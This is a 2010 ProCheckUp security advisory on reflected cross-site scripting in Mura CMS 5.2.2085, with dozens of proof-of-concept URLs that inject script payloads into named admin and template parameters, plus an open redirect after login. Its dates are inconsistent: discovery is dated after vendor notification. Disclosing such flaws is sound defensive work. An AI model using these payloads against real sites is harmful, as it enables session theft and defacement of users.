Vulnerability found:

19 December 2010

Vendor informed:

20 April 2010

Severity level:

Medium

Credits:

Richard Brain of ProCheckUp Ltd (www.procheckup.com)

Description:

Mura is a Content Management System (CMS) that is based on the ColdFusion programming language.Procheckup has discovered that Various Mura programs are vulnerable to generic reflective Cross Site Scripting (XSS) attacks.

Note: Mura was tested on a fully patched Windows 2003 R2 SP2 and IIS 6, ColdFusion 8 and SQL 2005

were used as the application server and the backend database.

Mura Versions tested
5.2.2085

Proof of concept:

Proof of concept
The following demonstrate the XSS flaws:-

1) Unathenticated vanilla XSS. IE7 (Internet Explorer) browser used.

Login page XSS
http://target-domain.foo/admin/index.cfm?email="><script>alert(1)</script>&fuseaction=cLogin.main&returnURL=1&status=sendlogin

Error page XSS
http://target-domain.foo/default/error/index.cfm?error.diagnostics="><script>alert(1)</script>

Other XSS
http://target-domain.foo/admin/date_picker/dsp_dp_showmonth.cfm?+5=posn+1&dateLong="><script>alert(1)</script>

http://target-domain.foo/admin/date_picker/index.cfm?field="><script>alert(1)</script>

http://target-domain.foo/Admin/index.cfm?fuseaction=cLogin.main&returnURL=&status=sendlogin&email=<script>alert(1)</script>

http://target-domain.foo/admin/view/layouts/compact.cfm?fusebox.ajax="><script>alert(1)</script>&

http://target-domain.foo/admin/view/layouts/template.cfm?fusebox.ajax="><script>alert(1)</script>&myfusebox.originalcircuit=cLogin

http://target-domain.foo/admin/view/layouts/template.cfm?moduleTitle=</title><body><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_editCreative.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_editIPWhiteList.cfm?attributes.siteid="><script>alert(1)</script>&

http://target-domain.foo/admin/view/vAdvertising/dsp_editPlacement.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listAdZones.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listAdvertisers.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listCampaigns.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listCreatives.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByCampaign.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByPlacement.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vArchitecture/form/dsp_tab_related_content.cfm?attributes.siteid="><script>alert(1)</script>&session.rb=default

http://target-domain.foo/admin/view/vDashboard/dsp_sessionSearch.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topContent.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topRated.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topReferers.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topSearches.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_form.cfm?session.dateKey=<script>alert(1)
</script>

http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_list.cfm?session.dateKey=<script>alert(1)
</script>

http://target-domain.foo/admin/view/vExtend/dsp_attribute_form.cfm?attributes.formName=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hidden/"><script>alert(1)
</script>&attributes.action=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hi
dden

http://target-domain.foo/admin/view/vExtend/dsp_editAttributes.cfm?attributes.extendSetID="><script>alert(1)</script>&attributes.subTypeID=extendSetssattributes.siteid=attributesArraya

http://target-domain.foo/admin/view/vExtend/dsp_listSets.cfm?attributes.siteid="><script>alert(1)</script>&attributes.subTypeID=extendSetss

http://target-domain.foo/admin/view/vExtend/dsp_listSubTypes.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vFeed/ajax/dsp_loadSite_old.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vFeed/dsp_list.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vMailingList/dsp_form.cfm?attributes.mlid=1&attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vMailingList/dsp_list_members.cfm?attributes.siteid="><script>alert(1)
</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_secondary_menu.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_userprofile.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPublicUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPublicUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vSettings/dsp_plugin_form.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/calendar/dsp_dp_showmonth.cfm?dateLong="><script>alert(1)</script>

The following are included within Mura, though are issues within the popular fusebox 5.5 library

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/noxml/view/layout/lay_template.cfm?body="><script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/display/dsp_hello.cfm?runTime="><script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/layout/lay_template.cfm?body="><script>alert(1)</script>

http://target-domain.foo/default/includes/email/inc_email.cfm?bodyHtml=<script>alert(1)</script>&forward=1&rsEmail.site=pcutest@procheckup.com&

http://target-domain.foo/default/includes/email/inc_email.cfm?rsEmail.site=</title><body><script>alert(1)</script>

http://target-domain.foo/default/includes/themes/merced/templates/inc/header.cfm?request.siteid="><script>alert(1)</script>

http://target-domain.foo/default/includes/themes/merced/templates/inc/ie_conditional_includes.cfm?event.getSite.getAssetPath=1&themePath="><script>alert(1)</script>

http://target-domain.foo/default/utilities/sendtofriend.cfm?request.siteID=Default&url.link="><script>alert(1)</script>http://www.procheckup.com

Address field is vulnerable to XSS insert ><script>alert(1)</script> into address field.
http://target-domain.foo/requirements/mura/geoCoding/index.cfm?

http://target-domain.foo/wysiwyg/editor/plugins/selectlink/fck_selectlink.cfm?fuseaction=cArch.search&keywords="><script>alert(1)</script>&session.siteid=default



2) Offsite redirection after login

http://target-domain.foo/admin/index.cfm?fuseaction=cLogin.main&display=login&status=failed&rememberMe=1&contentid=&LinkServID=&returnURL=http://www.procheckup.comHow to fix:An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a exposed Mura site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

Fix:
Apply the latest patches

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